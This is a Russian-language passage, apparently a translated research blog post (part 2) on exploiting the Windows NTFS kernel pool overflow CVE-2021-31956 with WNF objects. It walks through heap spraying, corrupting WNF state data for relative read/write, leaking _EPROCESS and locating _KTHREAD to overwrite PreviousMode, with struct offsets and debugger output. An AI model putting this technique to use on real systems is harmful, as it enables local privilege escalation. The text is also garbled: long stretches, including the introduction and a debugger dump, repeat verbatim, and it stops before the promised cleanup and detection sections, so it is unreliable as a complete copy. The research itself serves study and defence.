CVE-2021-31956 Эксплуатация ядра Windows (NTFS с WNF) — часть 2
Введение
В части 1 целью было охватить следующее:
- Обзор уязвимости, присвоенной код CVE-2021-31956 (повреждение памяти выгружаемого пула NTFS), и как ее вызвать
- Введение в Windows Notification Framework (WNF) с точки зрения эксплуатации
- Используйте примитивы, которые можно построить с помощью WNF
В этой статье я буду стремиться опираться на эти предыдущие знания и охватить следующие:
- Эксплуатация без раскрытия информации CVE-2021-31955
- Включение лучших примитивов эксплойта через PreviousMode
- Надежность, стабильность и очистка от эксплойта
- Мысли об обнаружении
Версия, указанная в этойй статье — Windows 10 20H2 (сборка ОС 19042.508). Однако этот подход был протестирован во всех версиях Windows после 19H1, когда был введен пул сегментов.
Эксплуатация CVE-2021-31955 без раскрытия информации
В предыдущем сообщении в блоге я намекнул, что эта уязвимость, вероятно, может быть использована без использования отдельной уязвимости утечки адреса EPROCESS CVE-2021-31955). Это также понял Ян Цзышуан и задокументировал в своем блоге. (https://vul.360.net/archives/83)
Как правило, при повышении локальных привилегий Windows после того, как злоумышленник добился произвольной записи или выполнения кода ядра, целью будет повышение привилегий для связанного с ним пользовательского процесса или панорамирование привилегированной командной оболочки. Процессы Windows имеют связанную структуру ядра, называемую _EPROCESS, которая действует как объект процесса для этого процесса. В этой структуре есть элемент Token, который представляет контекст безопасности процесса и содержит такие вещи, как привилегии токена, типы токенов, идентификатор сеанса и т. д.
CVE-2021-31955 приводила к раскрытию информации об адресе _EPROCESS для каждого запущенного процесса в системе и, как предполагалось, использовалась в атаках, обнаруженных "Лабораторией Касперского". Однако на практике для эксплуатации CVE-2021-31956 эта отдельная уязвимость не нужна.
Это связано с тем, что указатель _EPROCESS содержится в _WNF_NAME_INSTANCE в качестве члена CreatorProcess:
nt!_WNF_NAME_INSTANCE
+0x000 Header : _WNF_NODE_HEADER
+0x008 RunRef : _EX_RUNDOWN_REF
+0x010 TreeLinks : _RTL_BALANCED_NODE
+0x028 StateName : _WNF_STATE_NAME_STRUCT
+0x030 ScopeInstance : Ptr64 _WNF_SCOPE_INSTANCE
+0x038 StateNameInfo : _WNF_STATE_NAME_REGISTRATION
+0x050 StateDataLock : _WNF_LOCK
+0x058 StateData : Ptr64 _WNF_STATE_DATA
+0x060 CurrentChangeStamp : Uint4B
+0x068 PermanentDataStore : Ptr64 Void
+0x070 StateSubscriptionListLock : _WNF_LOCK
+0x078 StateSubscriptionListHead : _LIST_ENTRY
+0x088 TemporaryNameListEntry : _LIST_ENTRY
+0x098 CreatorProcess : Ptr64 _EPROCESS
+0x0a0 DataSubscribersCount : Int4B
+0x0a4 CurrentDeliveryCount : Int4B
Следовательно, при условии, что возможно получить относительный примитив чтения/записи с использованием _WNF_STATE_DATA, чтобы иметь возможность читать и записывать в последующий _WNF_NAME_INSTANCE, мы можем затем перезаписать указатель StateData, чтобы он указывал на произвольное место, а также прочитать адрес CreatorProcess. чтобы получить адрес структуры _EPROCESS в памяти.
Начальная схема пула, к которой мы стремимся, выглядит следующим образом:
Сложность этого заключается в том, что из-за рандомизации кучи (LFH) надежное достижение этой схемы памяти становится более трудным, и одна итерация этого эксплойта не использовалась до тех пор, пока не были проведены дополнительные исследования для повышения общей надежности и снижения вероятность BSOD.
Например, в обычных сценариях вы можете получить следующий шаблон распределения для ряда последовательно выделенных блоков:
В отсутствие слабости или уязвимости LFH "рандомизации кучи" в этом посте объясняется, как можно достичь "достаточно" высокого уровня успеха эксплуатации и какие необходимые очистки необходимо выполнить для поддержания стабильности системы после эксплуатации.
Этап 1: Распыление и переполнение
Начиная с того места, где мы остановились в первой статье, нам нужно вернуться и переработать распыление и переполнение.
Во-первых, наш _WNF_NAME_INSTANCE имеет размер 0xA8 + POOL_HEADER (0x10), то есть размер 0xB8. Как упоминалось ранее, это помещается в кусок размером 0xC0.
Нам также нужно распылить объекты _WNF_STATE_DATA размером 0xA0, которые при добавлении с заголовком 0x10 + POOL_HEADER (0x10) также заканчиваются выделением фрагмента 0xC0.
Как упоминалось в части 1 статьи, поскольку мы можем контролировать размер уязвимого выделения, мы также можем гарантировать, что наш переполняющий фрагмент расширенного атрибута NTFS также будет выделен в сегменте 0xC0.
Однако мы не можем детерминистически знать, какой объект будет соседствовать с нашим уязвимым фрагментом NTFS (как упоминалось выше), мы не можем использовать аналогичный подход к освобождению дыр, как в прошлой статье, а затем повторно использовать полученные дыры, поскольку и _WNF_STATE_DATA, и объекты _WNF_NAME_INSTANCE выделяются одновременно, и нам нужно, чтобы оба они присутствовали в одном и том же сегменте пула.
Поэтому нужно быть очень осторожным с переполнением. Мы следим за тем, чтобы только следующие поля были переполнены на 0x10 байт (и POOL_HEADER).
В случае поврежденного _WNF_NAME_INSTANCE будут переполнены элементы Header и RunRef:
nt!_WNF_NAME_INSTANCE
+0x000 Header : _WNF_NODE_HEADER
+0x008 RunRef : _EX_RUNDOWN_REF
В случае поврежденного _WNF_STATE_DATA члены Header, AllocatedSize, DataSize и ChangeTimestamp будут переполнены:
nt!_WNF_STATE_DATA
+0x000 Header : _WNF_NODE_HEADER
+0x004 AllocatedSize : Uint4B
+0x008 DataSize : Uint4B
+0x00c ChangeStamp : Uint4B
Поскольку мы не знаем, собираемся ли мы сначала переполнить _WNF_NAME_INSTANCE или _WNF_STATE_DATA, мы можем инициировать переполнение и проверить наличие повреждений в цикле, запрашивая каждый _WNF_STATE_DATA с помощью NtQueryWnfStateData.
Если мы обнаруживаем повреждение, мы знаем, что идентифицировали наш объект _WNF_STATE_DATA. Если нет, то мы можем многократно запускать распыление и переполнение, пока не получим объект _WNF_STATE_DATA, который разрешает чтение/запись в подсегменте пула.
У этого подхода есть несколько проблем, некоторые из которых можно решить, а для некоторых нет идеального решения:
1. Мы хотим повредить только объекты _WNF_STATE_DATA, но сегмент пула также содержит объекты _WNF_NAME_INSTANCE из-за необходимости иметь одинаковый размер. Использование только переполнения размера данных 0x10 и последующей очистки (как описано в разделе "Очистка памяти ядра") означает, что эта проблема не вызывает проблемы.
2. Иногда наш неограниченный чагнк, содержащий _WNF_STATA_DATA, может быть выделен в последнем блоке в сегменте пула. Это означает, что при запросе с помощью NtQueryWnfStateData чтение неотображенной памяти произойдет за пределами конца страницы. На практике это случается редко, и увеличение размера распределения снижает вероятность этого
3. Другие функции операционной системы могут выделять ресурсы в сегменте пула 0xC0 и приводить к повреждению и нестабильности. Выполняя большой размер распыления перед запуском переполнения, из практических испытаний это, похоже, редко происходит в тестовой среде.
Я думаю, что полезно задокументировать эти проблемы с помощью современных методов эксплуатации повреждения памяти, где не всегда возможно добиться 100% надежности.
В целом, если 1) исправлено, а 2+3 встречается очень редко, вместо идеального решения мы можем перейти к следующему этапу.
Этап 2. Поиск _WNF_NAME_INSTANCE и перезапись указателя StateData
После того, как мы освободили наши _WNF_STATE_DATA, переполнив DataSize и AllocatedSize, как описано выше, и в первом сообщении блога, мы можем использовать относительное чтение, чтобы найти соседний _WNF_NAME_INSTANCE.
Просматривая память, мы можем найти шаблон "\x03\x09\xa8", который обозначает начало _WNF_NAME_INSTANCE, и из него получить интересные переменные-члены.
CreatorProcess, StateName, StateData, ScopeInstance могут быть раскрыты из идентифицированного целевого объекта.
Затем мы можем использовать относительную запись, чтобы заменить указатель StateData произвольным местоположением, которое требуется для нашего примитива чтения и записи. Например, смещение в структуре _EPROCESS на основе адреса, полученного от CreatorProcess.
Здесь необходимо соблюдать осторожность, чтобы гарантировать, что новое местоположение StateData указывает на перекрытие с нормальными значениями для значений AllocatedSize, DataSize, предшествующих данным, которые необходимо прочитать или записать.
В этом случае цель состояла в том, чтобы добиться полного произвольного чтения и записи, но без ограничений, связанных с необходимостью найти разумные и надежные значения AllocatedSize и DataSize до памяти, которую также нужно было записать.
Наша общая цель состояла в том, чтобы нацелиться на элемент PreviousMode структуры KTHREAD, а затем использовать API-интерфейсы NtReadVirtualMemory и NtWriteVirtualMemory, чтобы обеспечить более гибкое произвольное чтение и запись.
Это помогает иметь хорошее представление о том, как эта структура памяти ядра используется, чтобы понять, как это работает. В очень упрощенном обзоре часть режима ядра Windows содержит ряд подсистем. Уровень аппаратной абстракции (HAL), исполнительные подсистемы и ядро. _EPROCESS является частью исполнительного уровня, который имеет дело с общей политикой и операциями ОС. Подсистема ядра обрабатывает конкретные детали архитектуры для низкоуровневых операций, а HAL обеспечивает уровень абстракции для устранения различий между аппаратными средствами.
Процессы и потоки представлены как на исполнительном уровне, так и на "уровне" ядра в памяти ядра в виде структур _EPROCESS и _KPROCESS и _ETHREAD и _KTHREAD соответственно.
В документации по PreviousMode говорится: "Когда приложение пользовательского режима вызывает версию Nt или Zw собственной процедуры системных служб, механизм системного вызова перехватывает вызывающий поток в режим ядра. Чтобы указать, что значения параметров были получены в пользовательском режиме, обработчик ловушки для системного вызова устанавливает для поля PreviousMode в объекте потока вызывающего объекта значение UserMode. Собственная процедура системных служб проверяет поле PreviousMode вызывающего потока, чтобы определить, получены ли параметры из источника пользовательского режима".
Глядя на MiReadWriteVirtualMemory, который вызывается из NtWriteVirtualMemory, мы видим, что если PreviousMode не установлен при выполнении потока пользовательского режима, то проверка адреса пропускается, и адреса пространства памяти ядра также могут быть записаны:
Этот метод также был описан ранее в сообщении блога NCC Group об использовании Windows KTM.
Итак, как нам определить местонахождение PreviousMode на основе адреса _EPROCESS, полученного из нашего относительного чтения CreatorProcess? В начале структуры _EPROCESS _KPROCESS включен как Pcb.
dt _EPROCESS
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
В _KPROCESS у нас есть следующее:
dx -id 0,0,ffffd186087b1300 -r1 (*((ntdll!_KPROCESS *)0xffffd186087b1300))
(*((ntdll!_KPROCESS *)0xffffd186087b1300)) [Type: _KPROCESS]
[+0x000] Header [Type: _DISPATCHER_HEADER]
[+0x018] ProfileListHead [Type: _LIST_ENTRY]
[+0x028] DirectoryTableBase : 0xa3b11000 [Type: unsigned __int64]
[+0x030] ThreadListHead [Type: _LIST_ENTRY]
[+0x040] ProcessLock : 0x0 [Type: unsigned long]
[+0x044] ProcessTimerDelay : 0x0 [Type: unsigned long]
[+0x048] DeepFreezeStartTime : 0x0 [Type: unsigned __int64]
[+0x050] Affinity [Type: _KAFFINITY_EX]
[+0x0f8] AffinityPadding [Type: unsigned __int64 [12]]
[+0x158] ReadyListHead [Type: _LIST_ENTRY]
[+0x168] SwapListEntry [Type: _SINGLE_LIST_ENTRY]
[+0x170] ActiveProcessors [Type: _KAFFINITY_EX]
[+0x218] ActiveProcessorsPadding [Type: unsigned __int64 [12]]
[+0x278 ( 0: 0)] AutoAlignment : 0x0 [Type: unsigned long]
[+0x278 ( 1: 1)] DisableBoost : 0x0 [Type: unsigned long]
[+0x278 ( 2: 2)] DisableQuantum : 0x0 [Type: unsigned long]
[+0x278 ( 3: 3)] DeepFreeze : 0x0 [Type: unsigned long]
[+0x278 ( 4: 4)] TimerVirtualization : 0x0 [Type: unsigned long]
[+0x278 ( 5: 5)] CheckStackExtents : 0x0 [Type: unsigned long]
[+0x278 ( 6: 6)] CacheIsolationEnabled : 0x0 [Type: unsigned long]
[+0x278 ( 9: 7)] PpmPolicy : 0x7 [Type: unsigned long]
[+0x278 (10:10)] VaSpaceDeleted : 0x0 [Type: unsigned long]
[+0x278 (31:11)] ReservedFlags : 0x0 [Type: unsigned long]
[+0x278] ProcessFlags : 896 [Type: long]
[+0x27c] ActiveGroupsMask : 0x1 [Type: unsigned long]
[+0x280] BasePriority : 8 [Type: char]
[+0x281] QuantumReset : 6 [Type: char]
[+0x282] Visited : 0 [Type: char]
[+0x283] Flags [Type: _KEXECUTE_OPTIONS]
[+0x284] ThreadSeed [Type: unsigned short [20]]
[+0x2ac] ThreadSeedPadding [Type: unsigned short [12]]
[+0x2c4] IdealProcessor [Type: unsigned short [20]]
[+0x2ec] IdealProcessorPadding [Type: unsigned short [12]]
[+0x304] IdealNode [Type: unsigned short [20]]
[+0x32c] IdealNodePadding [Type: unsigned short [12]]
[+0x344] IdealGlobalNode : 0x0 [Type: unsigned short]
[+0x346] Spare1 : 0x0 [Type: unsigned short]
[+0x348] StackCount [Type: _KSTACK_COUNT]
[+0x350] ProcessListEntry [Type: _LIST_ENTRY]
[+0x360] CycleTime : 0x0 [Type: unsigned __int64]
[+0x368] ContextSwitches : 0x0 [Type: unsigned __int64]
[+0x370] SchedulingGroup : 0x0 [Type: _KSCHEDULING_GROUP *]
[+0x378] FreezeCount : 0x0 [Type: unsigned long]
[+0x37c] KernelTime : 0x0 [Type: unsigned long]
[+0x380] UserTime : 0x0 [Type: unsigned long]
[+0x384] ReadyTime : 0x0 [Type: unsigned long]
[+0x388] UserDirectoryTableBase : 0x0 [Type: unsigned __int64]
[+0x390] AddressPolicy : 0x0 [Type: unsigned char]
[+0x391] Spare2 [Type: unsigned char [71]]
[+0x3d8] InstrumentationCallback : 0x0 [Type: void *]
[+0x3e0] SecureState [Type: ]
[+0x3e8] KernelWaitTime : 0x0 [Type: unsigned __int64]
[+0x3f0] UserWaitTime : 0x0 [Type: unsigned __int64]
[+0x3f8] EndPadding [Type: unsigned __int64 [8]]
Существует член ThreadListHead, который представляет собой двусвязный список _KTHREAD.
Если эксплойт имеет только один поток, то Flink будет указателем на смещение от начала _KTHREAD:
dx -id 0,0,ffffd186087b1300 -r1 (*((ntdll!_LIST_ENTRY *)0xffffd186087b1330))
(*((ntdll!_LIST_ENTRY *)0xffffd186087b1330)) [Type: _LIST_ENTRY]
[+0x000] Flink : 0xffffd18606a54378 [Type: _LIST_ENTRY *]
[+0x008] Blink : 0xffffd18608840378 [Type: _LIST_ENTRY *]
Исходя из этого, мы можем вычислить базовый адрес _KTHREAD, используя смещение 0x2F8, то есть смещение ThreadListEntry.
0xffffd18606a54378 - 0x2F8 = 0xffffd18606a54080
Мы можем проверить это правильно (и увидеть, что мы достигли точки останова в предыдущей статье):
Этот метод также был описан ранее в сообщении блога NCC Group об использовании Windows KTM.
Итак, как нам определить местонахождение PreviousMode на основе адреса _EPROCESS, полученного из нашего относительного чтения CreatorProcess? В начале структуры _EPROCESS _KPROCESS включен как Pcb.
dt _EPROCESS
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
В _KPROCESS у нас есть следующее:
dx -id 0,0,ffffd186087b1300 -r1 (*((ntdll!_KPROCESS *)0xffffd186087b1300))
(*((ntdll!_KPROCESS *)0xffffd186087b1300)) [Type: _KPROCESS]
[+0x000] Header [Type: _DISPATCHER_HEADER]
[+0x018] ProfileListHead [Type: _LIST_ENTRY]
[+0x028] DirectoryTableBase : 0xa3b11000 [Type: unsigned __int64]
[+0x030] ThreadListHead [Type: _LIST_ENTRY]
[+0x040] ProcessLock : 0x0 [Type: unsigned long]
[+0x044] ProcessTimerDelay : 0x0 [Type: unsigned long]
[+0x048] DeepFreezeStartTime : 0x0 [Type: unsigned __int64]
[+0x050] Affinity [Type: _KAFFINITY_EX]
[+0x0f8] AffinityPadding [Type: unsigned __int64 [12]]
[+0x158] ReadyListHead [Type: _LIST_ENTRY]
[+0x168] SwapListEntry [Type: _SINGLE_LIST_ENTRY]
[+0x170] ActiveProcessors [Type: _KAFFINITY_EX]
[+0x218] ActiveProcessorsPadding [Type: unsigned __int64 [12]]
[+0x278 ( 0: 0)] AutoAlignment : 0x0 [Type: unsigned long]
[+0x278 ( 1: 1)] DisableBoost : 0x0 [Type: unsigned long]
[+0x278 ( 2: 2)] DisableQuantum : 0x0 [Type: unsigned long]
[+0x278 ( 3: 3)] DeepFreeze : 0x0 [Type: unsigned long]
[+0x278 ( 4: 4)] TimerVirtualization : 0x0 [Type: unsigned long]
[+0x278 ( 5: 5)] CheckStackExtents : 0x0 [Type: unsigned long]
[+0x278 ( 6: 6)] CacheIsolationEnabled : 0x0 [Type: unsigned long]
[+0x278 ( 9: 7)] PpmPolicy : 0x7 [Type: unsigned long]
[+0x278 (10:10)] VaSpaceDeleted : 0x0 [Type: unsigned long]
[+0x278 (31:11)] ReservedFlags : 0x0 [Type: unsigned long]
[+0x278] ProcessFlags : 896 [Type: long]
[+0x27c] ActiveGroupsMask : 0x1 [Type: unsigned long]
[+0x280] BasePriority : 8 [Type: char]
[+0x281] QuantumReset : 6 [Type: char]
[+0x282] Visited : 0 [Type: char]
[+0x283] Flags [Type: _KEXECUTE_OPTIONS]
[+0x284] ThreadSeed [Type: unsigned short [20]]
[+0x2ac] ThreadSeedPadding [Type: unsigned short [12]]
[+0x2c4] IdealProcessor [Type: unsigned short [20]]
[+0x2ec] IdealProcessorPadding [Type: unsigned short [12]]
[+0x304] IdealNode [Type: unsigned short [20]]
[+0x32c] IdealNodePadding [Type: unsigned short [12]]
[+0x344] IdealGlobalNode : 0x0 [Type: unsigned short]
[+0x346] Spare1 : 0x0 [Type: unsigned short]
[+0x348] StackCount [Type: _KSTACK_COUNT]
[+0x350] ProcessListEntry [Type: _LIST_ENTRY]
[+0x360] CycleTime : 0x0 [Type: unsigned __int64]
[+0x368] ContextSwitches : 0x0 [Type: unsigned __int64]
[+0x370] SchedulingGroup : 0x0 [Type: _KSCHEDULING_GROUP *]
[+0x378] FreezeCount : 0x0 [Type: unsigned long]
[+0x37c] KernelTime : 0x0 [Type: unsigned long]
[+0x380] UserTime : 0x0 [Type: unsigned long]
[+0x384] ReadyTime : 0x0 [Type: unsigned long]
[+0x388] UserDirectoryTableBase : 0x0 [Type: unsigned __int64]
[+0x390] AddressPolicy : 0x0 [Type: unsigned char]
[+0x391] Spare2 [Type: unsigned char [71]]
[+0x3d8] InstrumentationCallback : 0x0 [Type: void *]
[+0x3e0] SecureState [Type: ]
[+0x3e8] KernelWaitTime : 0x0 [Type: unsigned __int64]
[+0x3f0] UserWaitTime : 0x0 [Type: unsigned __int64]
[+0x3f8] EndPadding [Type: unsigned __int64 [8]]
Существует член ThreadListHead, который представляет собой двусвязный список _KTHREAD.
Если эксплойт имеет только один поток, то Flink будет указателем на смещение от начала _KTHREAD:
dx -id 0,0,ffffd186087b1300 -r1 (*((ntdll!_LIST_ENTRY *)0xffffd186087b1330))
(*((ntdll!_LIST_ENTRY *)0xffffd186087b1330)) [Type: _LIST_ENTRY]
[+0x000] Flink : 0xffffd18606a54378 [Type: _LIST_ENTRY *]
[+0x008] Blink : 0xffffd18608840378 [Type: _LIST_ENTRY *]
Исходя из этого, мы можем вычислить базовый адрес _KTHREAD, используя смещение 0x2F8, то есть смещение ThreadListEntry.
0xffffd18606a54378 - 0x2F8 = 0xffffd18606a54080
Мы можем проверить это правильно (и увидеть, что мы достигли точки останова в предыдущей статье):
0: kd> !thread 0xffffd18606a54080
THREAD ffffd18606a54080 Cid 1da0.1da4 Teb: 000000ce177e0000 Win32Thread: 0000000000000000 RUNNING on processor 0
IRP List:
ffffd18608002050: (0006,0430) Flags: 00060004 Mdl: 00000000
Not impersonating
DeviceMap ffffba0cc30c6630
Owning Process ffffd186087b1300 Image: amberzebra.exe
Attached Process N/A Image: N/A
Wait Start TickCount 2344 Ticks: 1 (0:00:00:00.015)
Context Switch Count 149 IdealProcessor: 1
UserTime 00:00:00.000
KernelTime 00:00:00.015
Win32 Start Address 0x00007ff6da2c305c
Stack Init ffffd0096cdc6c90 Current ffffd0096cdc6530
Base ffffd0096cdc7000 Limit ffffd0096cdc1000 Call 0000000000000000
Priority 8 BasePriority 8 PriorityDecrement 0 IoPriority 2 PagePriority 5
Child-SP RetAddr : Args to Child : Call Site
ffffd009`6cdc62a8 fffff805`5a99bc7a : 00000000`00000000 00000000`000000d0 00000000`00000000 ffffba0c`00000000 : Ntfs!NtfsQueryEaUserEaList
ffffd009`6cdc62b0 fffff805`5a9fc8a6 : ffffd009`6cdc6560 ffffd186`08002050 ffffd186`08002300 ffffd186`06a54000 : Ntfs!NtfsCommonQueryEa+0x22a
ffffd009`6cdc6410 fffff805`5a9fc600 : ffffd009`6cdc6560 ffffd186`08002050 ffffd186`08002050 ffffd009`6cdc7000 : Ntfs!NtfsFsdDispatchSwitch+0x286
ffffd009`6cdc6540 fffff805`570d1f35 : ffffd009`6cdc68b0 fffff805`54704b46 ffffd009`6cdc7000 ffffd009`6cdc1000 : Ntfs!NtfsFsdDispatchWait+0x40
ffffd009`6cdc67e0 fffff805`54706ccf : ffffd186`02802940 ffffd186`00000030 00000000`00000000 00000000`00000000 : nt!IofCallDriver+0x55
ffffd009`6cdc6820 fffff805`547048d3 : ffffd009`6cdc68b0 00000000`00000000 00000000`00000001 ffffd186`03074bc0 : FLTMGR!FltpLegacyProcessingAfterPreCallbacksCompleted+0x28f
ffffd009`6cdc6890 fffff805`570d1f35 : ffffd186`08002050 00000000`000000c0 00000000`000000c8 00000000`000000a4 : FLTMGR!FltpDispatch+0xa3
ffffd009`6cdc68f0 fffff805`574a6fb8 : ffffd186`08002050 00000000`00000000 00000000`00000000 fffff805`577b2094 : nt!IofCallDriver+0x55
ffffd009`6cdc6930 fffff805`57455834 : 000000ce`00000000 ffffd009`6cdc6b80 ffffd186`084eb7b0 ffffd009`6cdc6b80 : nt!IopSynchronousServiceTail+0x1a8
ffffd009`6cdc69d0 fffff805`572058b5 : ffffd186`06a54080 000000ce`178fdae8 000000ce`178feba0 00000000`000000a3 : nt!NtQueryEaFile+0x484
ffffd009`6cdc6a90 00007fff`0bfae654 : 00007ff6`da2c14dd 00007ff6`da2c4490 00000000`000000a3 000000ce`178fbee8 : nt!KiSystemServiceCopyEnd+0x25 (TrapFrame @ ffffd009`6cdc6b00)
000000ce`178fdac8 00007ff6`da2c14dd : 00007ff6`da2c4490 00000000`000000a3 000000ce`178fbee8 0000026e`edf509ba : ntdll!NtQueryEaFile+0x14
000000ce`178fdad0 00007ff6`da2c4490 : 00000000`000000a3 000000ce`178fbee8 0000026e`edf509ba 00000000`00000000 : 0x00007ff6`da2c14dd
000000ce`178fdad8 00000000`000000a3 : 000000ce`178fbee8 0000026e`edf509ba 00000000`00000000 000000ce`178fdba0 : 0x00007ff6`da2c4490
000000ce`178fdae0 000000ce`178fbee8 : 0000026e`edf509ba 00000000`00000000 000000ce`178fdba0 000000ce`00000017 : 0xa3
000000ce`178fdae8 0000026e`edf509ba : 00000000`00000000 000000ce`178fdba0 000000ce`00000017 00000000`00000000 : 0x000000ce`178fbee8
000000ce`178fdaf0 00000000`00000000 : 000000ce`178fdba0 000000ce`00000017 00000000`00000000 0000026e`00000001 : 0x0000026e`edf509ba
Итак, теперь мы знаем, как вычислить адрес структуры данных ядра _KTHREAD, связанной с нашим запущенным потоком эксплойта.
В конце этапа 2 у нас есть следующая структура памяти:
Введение
В части 1 целью было охватить следующее:
- Обзор уязвимости, присвоенной код CVE-2021-31956 (повреждение памяти выгружаемого пула NTFS), и как ее вызвать
- Введение в Windows Notification Framework (WNF) с точки зрения эксплуатации
- Используйте примитивы, которые можно построить с помощью WNF
В этой статье я буду стремиться опираться на эти предыдущие знания и охватить следующие:
- Эксплуатация без раскрытия информации CVE-2021-31955
- Включение лучших примитивов эксплойта через PreviousMode
- Надежность, стабильность и очистка от эксплойта
- Мысли об обнаружении
Версия, указанная в этойй статье — Windows 10 20H2 (сборка ОС 19042.508). Однако этот подход был протестирован во всех версиях Windows после 19H1, когда был введен пул сегментов.
Эксплуатация CVE-2021-31955 без раскрытия информации
В предыдущем сообщении в блоге я намекнул, что эта уязвимость, вероятно, может быть использована без использования отдельной уязвимости утечки адреса EPROCESS CVE-2021-31955). Это также понял Ян Цзышуан и задокументировал в своем блоге. (https://vul.360.net/archives/83)
Как правило, при повышении локальных привилегий Windows после того, как злоумышленник добился произвольной записи или выполнения кода ядра, целью будет повышение привилегий для связанного с ним пользовательского процесса или панорамирование привилегированной командной оболочки. Процессы Windows имеют связанную структуру ядра, называемую _EPROCESS, которая действует как объект процесса для этого процесса. В этой структуре есть элемент Token, который представляет контекст безопасности процесса и содержит такие вещи, как привилегии токена, типы токенов, идентификатор сеанса и т. д.
CVE-2021-31955 приводила к раскрытию информации об адресе _EPROCESS для каждого запущенного процесса в системе и, как предполагалось, использовалась в атаках, обнаруженных "Лабораторией Касперского". Однако на практике для эксплуатации CVE-2021-31956 эта отдельная уязвимость не нужна.
Это связано с тем, что указатель _EPROCESS содержится в _WNF_NAME_INSTANCE в качестве члена CreatorProcess:
nt!_WNF_NAME_INSTANCE
+0x000 Header : _WNF_NODE_HEADER
+0x008 RunRef : _EX_RUNDOWN_REF
+0x010 TreeLinks : _RTL_BALANCED_NODE
+0x028 StateName : _WNF_STATE_NAME_STRUCT
+0x030 ScopeInstance : Ptr64 _WNF_SCOPE_INSTANCE
+0x038 StateNameInfo : _WNF_STATE_NAME_REGISTRATION
+0x050 StateDataLock : _WNF_LOCK
+0x058 StateData : Ptr64 _WNF_STATE_DATA
+0x060 CurrentChangeStamp : Uint4B
+0x068 PermanentDataStore : Ptr64 Void
+0x070 StateSubscriptionListLock : _WNF_LOCK
+0x078 StateSubscriptionListHead : _LIST_ENTRY
+0x088 TemporaryNameListEntry : _LIST_ENTRY
+0x098 CreatorProcess : Ptr64 _EPROCESS
+0x0a0 DataSubscribersCount : Int4B
+0x0a4 CurrentDeliveryCount : Int4B
Следовательно, при условии, что возможно получить относительный примитив чтения/записи с использованием _WNF_STATE_DATA, чтобы иметь возможность читать и записывать в последующий _WNF_NAME_INSTANCE, мы можем затем перезаписать указатель StateData, чтобы он указывал на произвольное место, а также прочитать адрес CreatorProcess. чтобы получить адрес структуры _EPROCESS в памяти.
Начальная схема пула, к которой мы стремимся, выглядит следующим образом:
Сложность этого заключается в том, что из-за рандомизации кучи (LFH) надежное достижение этой схемы памяти становится более трудным, и одна итерация этого эксплойта не использовалась до тех пор, пока не были проведены дополнительные исследования для повышения общей надежности и снижения вероятность BSOD.
Например, в обычных сценариях вы можете получить следующий шаблон распределения для ряда последовательно выделенных блоков:
В отсутствие слабости или уязвимости LFH "рандомизации кучи" в этом посте объясняется, как можно достичь "достаточно" высокого уровня успеха эксплуатации и какие необходимые очистки необходимо выполнить для поддержания стабильности системы после эксплуатации.
Этап 1: Распыление и переполнение
Начиная с того места, где мы остановились в первой статье, нам нужно вернуться и переработать распыление и переполнение.
Во-первых, наш _WNF_NAME_INSTANCE имеет размер 0xA8 + POOL_HEADER (0x10), то есть размер 0xB8. Как упоминалось ранее, это помещается в кусок размером 0xC0.
Нам также нужно распылить объекты _WNF_STATE_DATA размером 0xA0, которые при добавлении с заголовком 0x10 + POOL_HEADER (0x10) также заканчиваются выделением фрагмента 0xC0.
Как упоминалось в части 1 статьи, поскольку мы можем контролировать размер уязвимого выделения, мы также можем гарантировать, что наш переполняющий фрагмент расширенного атрибута NTFS также будет выделен в сегменте 0xC0.
Однако мы не можем детерминистически знать, какой объект будет соседствовать с нашим уязвимым фрагментом NTFS (как упоминалось выше), мы не можем использовать аналогичный подход к освобождению дыр, как в прошлой статье, а затем повторно использовать полученные дыры, поскольку и _WNF_STATE_DATA, и объекты _WNF_NAME_INSTANCE выделяются одновременно, и нам нужно, чтобы оба они присутствовали в одном и том же сегменте пула.
Поэтому нужно быть очень осторожным с переполнением. Мы следим за тем, чтобы только следующие поля были переполнены на 0x10 байт (и POOL_HEADER).
В случае поврежденного _WNF_NAME_INSTANCE будут переполнены элементы Header и RunRef:
nt!_WNF_NAME_INSTANCE
+0x000 Header : _WNF_NODE_HEADER
+0x008 RunRef : _EX_RUNDOWN_REF
В случае поврежденного _WNF_STATE_DATA члены Header, AllocatedSize, DataSize и ChangeTimestamp будут переполнены:
nt!_WNF_STATE_DATA
+0x000 Header : _WNF_NODE_HEADER
+0x004 AllocatedSize : Uint4B
+0x008 DataSize : Uint4B
+0x00c ChangeStamp : Uint4B
Поскольку мы не знаем, собираемся ли мы сначала переполнить _WNF_NAME_INSTANCE или _WNF_STATE_DATA, мы можем инициировать переполнение и проверить наличие повреждений в цикле, запрашивая каждый _WNF_STATE_DATA с помощью NtQueryWnfStateData.
Если мы обнаруживаем повреждение, мы знаем, что идентифицировали наш объект _WNF_STATE_DATA. Если нет, то мы можем многократно запускать распыление и переполнение, пока не получим объект _WNF_STATE_DATA, который разрешает чтение/запись в подсегменте пула.
У этого подхода есть несколько проблем, некоторые из которых можно решить, а для некоторых нет идеального решения:
1. Мы хотим повредить только объекты _WNF_STATE_DATA, но сегмент пула также содержит объекты _WNF_NAME_INSTANCE из-за необходимости иметь одинаковый размер. Использование только переполнения размера данных 0x10 и последующей очистки (как описано в разделе "Очистка памяти ядра") означает, что эта проблема не вызывает проблемы.
2. Иногда наш неограниченный чагнк, содержащий _WNF_STATA_DATA, может быть выделен в последнем блоке в сегменте пула. Это означает, что при запросе с помощью NtQueryWnfStateData чтение неотображенной памяти произойдет за пределами конца страницы. На практике это случается редко, и увеличение размера распределения снижает вероятность этого
3. Другие функции операционной системы могут выделять ресурсы в сегменте пула 0xC0 и приводить к повреждению и нестабильности. Выполняя большой размер распыления перед запуском переполнения, из практических испытаний это, похоже, редко происходит в тестовой среде.
Я думаю, что полезно задокументировать эти проблемы с помощью современных методов эксплуатации повреждения памяти, где не всегда возможно добиться 100% надежности.
В целом, если 1) исправлено, а 2+3 встречается очень редко, вместо идеального решения мы можем перейти к следующему этапу.
Этап 2. Поиск _WNF_NAME_INSTANCE и перезапись указателя StateData
После того, как мы освободили наши _WNF_STATE_DATA, переполнив DataSize и AllocatedSize, как описано выше, и в первом сообщении блога, мы можем использовать относительное чтение, чтобы найти соседний _WNF_NAME_INSTANCE.
Просматривая память, мы можем найти шаблон "\x03\x09\xa8", который обозначает начало _WNF_NAME_INSTANCE, и из него получить интересные переменные-члены.
CreatorProcess, StateName, StateData, ScopeInstance могут быть раскрыты из идентифицированного целевого объекта.
